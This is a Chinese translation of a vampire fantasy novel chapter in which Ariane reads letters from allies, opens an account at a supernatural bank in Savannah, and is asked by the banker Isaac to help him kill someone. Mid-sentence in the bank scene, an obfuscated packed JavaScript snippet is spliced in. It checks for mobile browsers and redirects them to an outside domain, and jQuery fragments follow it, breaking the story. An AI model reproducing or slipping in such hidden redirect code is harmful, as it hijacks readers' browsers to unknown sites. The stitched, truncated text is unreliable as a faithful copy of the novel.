当我们回到希金斯维尔时，西尼德早已离去。洛斯没有告诉我他去了哪里，我也没有问。这位利卡伊安王子倒是给我留下了几样东西，首先是一封信。


    我亲爱的阿丽亚娜：


    作为一名暗夜行者，你这人还不错。我相信，在你成长为全新的自己后，我们定会再次相见。我很期待那一天，并且我给你留下了两样东西，以表感激之情。


    第一件是一本关于正确使用魅惑术的入门指南，里面包含不少技巧、冥想方法，还有我最喜欢的精妙之处。我像是着了魔一般，只用了两天就写完了！等我们下次见面时，来一场小小的比试，看看你都学到了些什么。


    第二件既是礼物，也是某种歉意的表达。我意识到，你或许没能如自己所愿饮下我的血，所以我让洛斯取了一点儿我的精髓，装在你会看到的那个珍贵容器里。时刻带在身边。倘若有一天你生命垂危，无论伤势多么严重，喝下它，肯定能救你一命。这可是一位仙族王子自愿赠予的精髓，别浪费了！要是你浪费，我可会知道的！


    期待再次相见，小可爱。


    西尼德


    我下定决心，要一直把那个银色小管子挂在脖子上。它就挨着装有父亲留言的吊坠，这两件东西是我的生命线，一个守护身体，一个滋养灵魂 。


    在接下来的几个月里，我们逐渐形成了健康规律的生活。大多数夜晚，我都会帮洛斯处理各种研究事务，涵盖魔法、世俗事务以及冶金学领域。当他所在的医院病人增多时，我还会去帮忙做护理工作。我从不感到恶心，这一点可派上了大用场，因为我这位好朋友总说，有些让我做的活儿 “能锻炼性格”。很快我就明白了，这句话不过是 “这活儿太恶心，既然我现在有了个手下，就不用自己干了” 的虚伪说辞。


    洛斯还会测试我的体力极限，当然，方法就是让我帮他搬运重物。他最后得出结论，说我 “像怀着孕的食人魔一样强壮，而且还稍微好看点儿”。


    真不知道他那张嘴是怎么哄得全县的寡妇都爬上他的床的。


    剩下的夜晚，我会参加各种活动。我继续学习西方标准符文体系，还研究了几种萨满教形式。尽管希梅纳建议我尝试音乐，但我还是选择了绘画作为爱好。七岁时那次灾难性的小提琴练习经历，至今仍让我心有余悸。我通过在树林里拼命奔跑、和洛斯练习飞刀与射击，来提升自己的移动技巧。


    道尔顿轻松适应了他的新职责。他有一种本事，在不想引人注意的时候，能让人觉得他毫不起眼，这使他在任何地方都能融入其中；而当他想要引起关注时，他那神秘的魅力又足以吸引众人目光。他很快就赢得了我们小镇男女老少的喜爱。唯一的问题是，围绕着我们的流言蜚语不少，不过我倒不太在意。


    有了他，赏金猎人的工作变得轻松又有趣。我再也不用因不被认可而束手束脚，只需负责有趣的部分，其余的都由我的附庸尽职处理。很多时候，我们会默契配合，用有趣的方式抓住目标。这很快就让他有了一种复杂的名声，同时也赢得了不少尊重。我也借此机会练习感知和魅惑能力。


    我们就这样过了一段时间，直到我收到了亲爱的希梅纳的来信。


    我最亲爱的阿丽亚娜：


    得知你最近的冒险经历，我的心情无比复杂！心脏被刺穿？还遇上了一个失控的吸血鬼？自从帮你逃脱那次之后，我就没这么焦虑过。年轻人，多为我这颗脆弱的心脏想想吧，也多爱惜一下你自己！初拥不久的吸血鬼不该遭受这样的重创，尤其是在短短一年里两次！说真的，要不是你出身于吞噬者家族，我都担心我们已经失去你了。


    在这之前，有些事我早该在之前的信里告诉你，要是我早想到你会去挑战那些受过战斗训练的朝臣的话。这些事与我们同类之间的武装冲突有关。


    与吸血鬼战斗的方式和对付其他生物截然不同。很少有生物能与我们的速度匹敌，所以在与其他种族的战斗中，被杀死的吸血鬼往往是遭受了重创才倒下的。相反，吸血鬼在战斗时，首要目标就是对方的心脏。哪怕只是受了点小伤，都可能是致命的。


    下次见面时，我会教你一些武术技巧来保护自己。在此之前，别去练习凡人的方法，不然会养成坏习惯。我们的行动和战斗方式与人类不同，所以他们的技艺不适合我们。要是你能不带先入之见来找我，学起来会更容易。


    不过，也有一些提升自己的方法。其中一种你已经知道了，你提到的那些月下漫步有助于你熟悉自己的身体，提高自然敏捷度。在行动时，跟着直觉走。我还强烈建议你在战斗时，给 torso 穿上一套盔甲。我在信封里附上了标准哈考特护胸甲的设计图，相信你的朋友能帮你打造出来。


    需要再次强调的是，如果你能喝下强大敌人的鲜血，你的血脉就能快速进化，使你的天生能力与经验丰富的朝臣不相上下。但这并不能让你拥有他们的实战经验。你之前遇到的那个生物手无寸铁，还半疯半癫，和你真正可能面对的敌人完全不是一个级别，要是某个家族决定要对付你，那你遇到的对手可就不一样了。要是被发现了，我求求你，赶紧跑。只要你离开他们的领地，对方很可能就会放弃追捕，只是向波士顿的骑士分会报告你的出现。希望你能记住我的警告。


    现在这些都说完了，容我第一个向你祝贺，祝贺你成年！啊，我还记得那一天，就好像是昨天一样，一个羞涩迷茫的女子，局促地站在我的训练场里！即便那时，你的个性就十分突出，与众不同。如今，你已经成长起来了！我满心骄傲，真希望能和你一起庆祝这个吉祥的日子。


    现在你已经是一名朝臣了，别让任何人否定这一点。这意味着我们计划的下一步可以开始了！1810 年，也就是五年多以后，北美所有的吸血鬼将举行一场重要的秘密会议。我会借此机会向现任议长请愿，让你加入。如果申请被接受，我们就能根据《协定》，把你登记为一个独立家族的成员，这样你就再也不用受兰卡斯特家族的威胁了。康斯坦丁肯定会给你安排一两个任务，算是对你非法进入他领地的补偿，不过也别太担心。他以宽容著称，这片新大陆既是避难之地，也是充满机遇的地方。


    得知你想利用这段时间积累专业知识和财富，我很高兴。追求卓越是 “道路追随者” 这个派系（加的斯家族就属于这个派系）的显著特质。作为一名新晋吸血鬼，我建议你学一门乐器。艺术能帮助我们保持人性，而音乐在这方面的作用尤为突出。


    你还得考虑积累财富。你应该能想到，凡人的金融机构并不适合我们的需求，所以我建议你去港口城市萨凡纳，在那里你会找到罗森塔尔财团的一个小分支机构。他们在超自然世界中保持中立，既可靠又高效。去开个账户吧，要知道，我们都是从小做起的。


    最后，我们基本确定，加百列教团不再监视你父亲了，所以你现在可以更自由地和他通信。


    阿因扎和我都很想你，阿丽亚娜。等有时间了，我会亲自去见你。我得小心行事，因为我现在的大部分行动都受到监视。实际上，我得到了一个恢复身份、重新加入骑士团的机会！我的下一个任务要去大沼泽地，会持续几个月。要是一切顺利，我会接到新任务，完成之后就能恢复职位了。亲爱的，这对我来说无比重要，真希望能得到你的祝福！


    带着姐妹般的爱，


    希梅纳?德?加的斯


    1804 年 9 月 7 日


    1805 年 2 月，佐治亚州，萨凡纳


    罗森塔尔财团的大楼并不大，仅仅比我儿时的家大一点儿，但却能在一整条街外就吸引人们的目光。要我说，当地的建筑风格只能算普通，我这么说已经算客气了。最常见的装饰就是在随处可见的水平木板上刷一层漆，就连市政厅这样的公共场所也是如此。


    而这个高贵机构的大楼是橙色的。


    没错，橙色。


    它的墙壁完全由垂直雕刻的白色石头和火红色的砖块砌成。在那些色调单调的建筑中间，它就像一颗宝石，又像一个脓包。带栅栏的窗户和加固的大门，更让人觉得它是个异类。


    道尔顿一言不发地隐入阴影之中，我则走向门卫。


    他一开始装作没看见我，直到出于礼貌不得不有所反应。他看起来十分严肃，身着黑色服装，搭配白色衬衫，苍白的脸上留着浓密的胡须。我闻到他身上有火药味，有趣的是，还有施过魔法的物品的气息，不过他本人并不是魔法师。我仔细感知，辨认出了一种独特的气场。当他与我对视时，我的怀疑得到了证实。那些防护措施是为了抵御外界影响，包括魅惑术。


    终于，有机会试试西尼德提到的那些技巧了！


    我和他之间的 “情感纽带” 碰到了一层光滑的屏障，被弹了回来。我慢慢改变纽带的 “颜色”，让它与他此刻的情绪相匹配。他充满戒心，但并不焦虑。在半秒之内，这根 “纽带” 就与屏障融为一体，穿了过去。


    我礼貌地冲他微笑，还稍稍施展了一点魅惑暗示，他也回以微笑。


    成功了！


    “晚上好，先生，这里是罗森塔尔财团萨凡纳分部吗？”


    “是的，小姐，我们很乐意为您服务。不过很遗憾，我们已经关门了。”


    没关系，我会继续 “说服” 他，直到他觉得我足够重要，值得给予特殊待遇。


    “真可惜，我听说你们会在日落后营业。” 希梅纳是这么说的。


    门卫的反应出乎我的意料。他脸色明显变得苍白，脸上的笑容也消失了。


    “啊，是的，非常抱歉，女士，我们没想到您会来。”


    他转身面向入口，在门上敲出一串特定的图案。然后从外套的暗袋里掏出一把钥匙，紧张地试了几次才插进锁孔转动。


    门缓缓打开，仿佛在热情邀请我。


    “请进，女士。”


    嗯，真奇怪。他们就凭我这一句话，就猜到我的身份了？这不会是个陷阱吧？


    不太可能。要是有危险，希梅纳肯定会提前警告我的。


    我走进一个漂亮的大厅。之前觉得这建筑外观花哨俗气，现在看来我错了。


    地面完全由抛光的黑色石头铺成，正中央是一个直径五步的巨大白色圆圈，圆圈边缘环绕着我不认识的金色符文。墙壁底部也是同样的黑色石头，往上逐渐变成青铜色。大厅很狭长，尽头是一个高高的桃花心木柜台，后面有个柜员正在忙碌。除了这张桌子，能看到的家具只有几把椅子，还有一副中世纪的盔甲，盔甲里握着一把戟。


    在我刚进来的这扇门旁边，左边有一扇门，右边墙上也有一扇，奇怪的是，还有一扇带栅栏的窗户。我还看到对面墙上有一条走廊，以及通往楼上的楼梯。


    我立刻停住了脚步。这个地方充满了魔法气息。我跨过门槛的时候，肯定触发了某种警报，这根本无法避免。我还能感觉到，从那个圆圈、那副盔甲、好几扇门，还有让人惊讶的柜台，都散发着强大的魔力。


    柜台后面的男人站了起来，看到我后愣住了。右边那扇带栅栏的窗户打开了，一个皱着眉头、拿着枪的男人探出头来。看到我后，他也一动不动了。


    好吧，这可有点尴尬，不是吗？


    “我是来开账户的。”


    我觉得最好还是在那副盔甲自己动起来之前，先表明我的来意。


    “啊，嗯，我……”


    柜台后面的男人看起来就是我想象中会计的样子。他紧张地想把单片眼镜重新戴回鼻子上，但颤抖的手却把眼镜碰掉了，掉到了胸口。


    大厅里一片寂静，我静静地等着。


    很快，楼梯上传来了脚步声，缓慢而有节奏。


    不一会儿，一个男人从容地走进房间，朝我走来。他比我稍微矮一点，黑色的头发向后梳得整整齐齐，灰色的眼睛目光锐利。他五官分明，透着贵族气质，脸上带着礼貌而尊重的神情。他身着剪裁精致的黑色西装，彰显出低调的高雅品味。他也是一名朝臣，而且实力强大。我感觉他正处于某种突破的边缘。他的气场是我所感受过的最自律、最沉稳的之一。


    “晚上好，女士，欢迎来到我们这个简陋的地方。我是罗森塔尔家族的艾萨克。很高兴今晚能在这里迎接您。”


    “谢谢你，艾萨克，我是阿丽亚娜，来自…… 嗯，尼拉里家族。”


    听到我的话，他原本平静的脸上闪过一丝复杂的情绪。


    “真的吗？太棒了，太棒了！能有幸结识您，是我的荣幸。请跟我来。”


    我接受了他的邀请，我们并肩走着。我们走路时没有发出一点声音，安静得连根针掉在地上都能听见。


    他带我上了二楼，来到走廊尽头他的办公室。我们走进一个宽敞的房间，房间里只点了一根蜡烛照明。房间后面有一扇大窗户，可以看到屋顶和阴云密布的天空。一张大书桌两边各放着一把舒适的皮椅，这张桌子看起来就知道它的主人工作勤奋、做事条理分明。一摞摞文件夹整齐地放在木制文件架里，没有一份文件随意摊在外面，毕竟来访的客人视力都很好，这样做很有必要。书架上摆满了法律、经济和哲学方面的书籍，让这个房间有一种温馨的氛围。


    “请坐，别拘束。”


    他庄重地坐下，凝视了我一会儿，然后带着些许好奇向前倾身。


    “在开始之前，我想确认一下您的身份。希望您别介意，啊，原谅我的冒昧，您能让我看看您的獠牙吗？”


    我先观察他有没有冒犯我的意思，随后意识到这个要求并不过分。毕竟我又没带什么身份证明。


    “啊，没错，八颗獠牙都在。真是不可思议。半个世纪前，我有幸在日内瓦见过您的主人。他可引起了不小的轰动！”


    “我听说他确实有这个本事……”


    他意味深长地看了我一眼。


    “是的，确实如此。这话说得很委婉。我只想说，能见到您我非常高兴。我们得知尼拉里大人有了新的子嗣，当我听说您被杀了的时候，还挺生气的。”


    “关于我死亡的传言有些夸大其词了。”


    “看来是这样！现在您来我们这儿开账户，尼拉里家族的账户持有人也因此增加到了三个。这对我们家族来说是个历史性的时刻。”


    “没错。在开始之前，如果您不介意的话，我有几个问题想问。”


    “当然不介意。如果您愿意，我可以给您介绍一下我们的服务项目、条款和条件。之后，如果您还有其他想了解的，我很乐意详细说明。”


    “听起来很不错。不过，首先我想把一件事说清楚。可以这么说，我在这片土地上的存在，并没有得到现任当局的认可。这会有问题吗？”


    “啊，是的。您的担忧可以理解。我们是一个完全独立的机构，与各国政府都有联系，但没有义务去执行他们的规定。我们非常重视隐私，各方一致认可我们的自治权。所以，我不仅能为您提供全方位的服务，还能保证，在您认为合适公开身份，以新人的身份进入社交圈之前，您的存在会一直保密。”


    他表情严肃，语气郑重。


    “这我就放心了，先生。如果可以的话，我想了解一下你们提供哪些服务？”


    “太好了，太好了！我们提供全方位的金融服务，包括各种个人银行业务、资产和财富管理、交易以及保管服务。我们还提供法律咨询，为我们这些长生不老的客户提供行政协助，比如帮您获取新的身份，我敢保证，您以后肯定用得上。我们也处理保险和遗产相关的事务……”


    艾萨克详细介绍了一个小时，内容十分全面。我觉得短期内我应该用不到在两个假身


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15054939|162875||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    份之间转移公司所有权这种服务，不过知道有这种选择还是挺好的。最后，我开了一个支票账户，把剩下的钱都投入了一个回报率高但波动较大的基金。这个精明的男人还主动提出给我提供一个保险箱，作为商业上的一种表示，我接受了，但没打算用。毕竟我最珍贵的东西都挂在脖子上或者放在枪套里。


    我下楼示意道尔顿带着我们的钱过来。通过赏金猎人和帮洛斯做各种工作，我总共攒了将近四百美元。反正不用在食物和住宿上花钱，就算给了我的附庸一部分，存钱也很容易。


    艾萨克邀请我再上楼去，等我的钱清点完。


    “我想请问您几个问题，可以吗？”


    “当然可以，阿丽亚娜小姐。不过我得提醒您，涉及到其他客户隐私的信息，我可能无法透露。”


    “我明白。您之前确认过我有个兄弟姐妹，我想知道，您能跟我讲讲关于他们的事吗？”


    “没问题，很简单。我都忘了您一直没怎么接触过家族事务。您的哥哥是斯维亚托斯拉夫，他现在是圣彼得堡最有影响力的人物。”


    “真的吗？俄罗斯属于我听说过的某个主要派系吗？”


    艾萨克思考了一下，接着说道：


    “阿丽亚娜小姐，家族之间很少受国界限制，所以我们从不以‘葡萄牙’或者‘瑞士’来称呼自己，而是用家族或联盟的名字。”


    啊，第一个问题就暴露了自己啥都不懂，干得可真“漂亮”，阿丽亚娜。


    “俄罗斯有两个派系。其中一个是由强盗、女巫和邪教徒组成的联盟，说是联盟，其实名不副实。另一个派系则明显尚武，他们最亲密的盟友是骑士团。他们自称‘维雅齐’，致力于捕杀危险的魔法生物。1756年我有机会参观了他们的总部，说实话，还挺让我惊喜的。”


    “您记性真好。”


    “这是我们家族的显著特点。我们都头脑清晰，拥有过目不忘的记忆力。”


    “请原谅我这么说，先生，但我成为吸血鬼还不到两年，已经有很多事是我宁愿忘掉的了。”


    “没关系，没关系。幸好，我们能与那些痛苦的回忆保持一定距离。不然的话，恐怕抗痛训练就会让人难以忍受了。”


    他说这话时面无表情，有那么一瞬间我以为他在开玩笑，但他脸上没有任何戏谑的神情。我觉得艾萨克算是对我稍微敞开心扉了一点。


    “我们有点跑题了。您哥哥在当地各利益集团之间起着缓冲作用。他与许多关键决策者的交情通常就足够了。要是交情不管用，嗯，他也会让大家知道招惹他的后果。”


    “他有那么厉害吗？”


    “小姐，他已经活了七个世纪，曾是基辅罗斯联邦的王子。”


    哇。如果他活了这么久，还像我想象中那样历经无数战斗，那他肯定是个强大的存在。这就是我现在的现实，只是因为没和族人相处，我都差点忘了这些。我们中的一些人见证过罗马的衰落，说不定还参与其中呢。


    “如果您愿意，我可以代您给他传个消息。”


    我真的想见一个会让我想起主人的人吗？


    “不用了，谢谢。”


    我对他又爱又恨，又爱又恨…… 我真是个坏女孩。我应该攒够钱买艘船，找到他的安息之地，把他挖出来，这样我们就…… 不！


    该死！


    “小姐？”


    “没事。啊，你们有没有办法向…… 议长请愿，让我在这儿的身份，这么说吧，合法化？”


    “很遗憾，我们不是《协定》的签署方。严格来说，这本质上是兰卡斯特家族内部的冲突，我们没办法向他们请愿。不过，我们可以帮您传个话。我现在就可以告诉您，如果没有人替您担保，想要根据《协定》被认可为一个独立家族会很困难。”


    “《协定》是什么？”


    “这是一套规范所有居住在新大陆的吸血鬼权利和义务的规则。这些规则比较宽松，大多是为了保护个人，避免远方的冲突波及到这里。您知道三大联盟正在交战吗？”


    “知道，不过具体情况不太清楚。”


    “我们也不太清楚，因为消息传到我们这儿之前，联盟之间的局势就已经变了。根据《协定》，当地的分支机构禁止参与战争，到目前为止，当地的家族也确实没有卷入其中。”


    “这些规则是怎么执行的呢？”


    “现任议长康斯坦丁大人有一些军队，还能召集更多人手。目前，当地还没有哪个家族发展到足够强大的规模，没有一个能真正对他构成挑战。至少现在还没有。”


    “真有意思。这个地方真的就是为流亡者和难民准备的。啊，我不是故意冒犯。”


    我不知道艾萨克有没有被冒犯到。这个人脸上的表情就跟大理石雕像一样少。要不是我对洛斯也经常这样面无表情，这还挺让人不安的。


    “没关系。说实话，我来这儿是度假的。”


    哈？


    “度假？真的吗？”


    “真的。”


    我意味深长地看了看那张整洁的书桌和堆积如山的文件。这个人明明可以去尼亚加拉大瀑布或者基韦斯特这些地方游玩，却选择待在这儿处理文件？还是在萨凡纳这个地方？希望沉默守望者能把我从这个“疯子”身边解救出来。


    “别被表象迷惑了。我的工作量很轻松，尤其是和在家的时候比。我能趁机读好多我盼了十年的书。”


    “我知道银行家工作很辛苦，这是当然……”


    “这话说得太轻描淡写了，而且这还是在正常情况下。现在，欧洲被拿破仑的战火笼罩，我们预计明年就会有贸易战。面具会正在陷入内战，埃塞鲁和‘道路追随者’也在针锋相对。相信我，我真的需要来这儿享受田园生活放松一下。当我得知家族在找一个人来这个偏远的地方任职两年时，我立刻就抓住了这个机会。”


    这是我第一次看到他真情流露，即便如此，也只是稍有情绪波动罢了。


    “我明白了。我只是希望我的祖国能有更多吸引人的地方，而不是…… 像现在这样。”


    “别担心，我有书为伴。之前唯一缺少的就是同类的陪伴，所以您的来访真是太及时了，真的非常及时！那个……”


    “怎么了？”


    “不…… 不，我不该说的。我这样太不专业了。请您原谅我。”


    真奇怪！这太出乎意料了。这个人一开始给人的感觉无比圆滑，甚至可以说有点自负，现在却像个心怀鬼胎的浪荡子一样说话？我太好奇了！


    “艾萨克，既然我们的正事已经办完了，我以一个孤独的吸血鬼的身份问你，而不是作为客户对罗森塔尔家族的成员发问，到底怎么回事？有话就直说吧。”


    他看起来有些慌乱。


    “啊，嗯，那个…… 我们先把这儿的事处理完，然后或许我们可以到外面接着聊？”


    越来越奇怪了。这个镇定自若的银行家突然就乱了分寸？我所有的预期都被打破了。我和道尔顿跟着这个奇怪的男人走出办公室，穿过大厅，来到大门外。门卫一脸惊讶，但什么也没说。


    很快，我们来到一个小花园，这个时间花园里空无一人。艾萨克转过身来，停住脚步。他给我的感觉是那种说话很谨慎的人，所以我耐心地等他组织语言，我敢肯定他接下来会提出一个请求。吸血鬼不能成为恳求者，因为我们有自卫能力，所以这肯定是两个地位相当的人之间的公平交易。我很期待听听他要说什么。


    终于，艾萨克深吸一口气，就在这时，道尔顿因为我们俩反常地一动不动，开始有点担心了。


    我的耐心终于要有回报了！我肯定会听到一个很精彩的故事。


    “尼拉里家族的阿丽亚娜，我希望在我杀一个人的时候，你能提供帮助。”


    啊。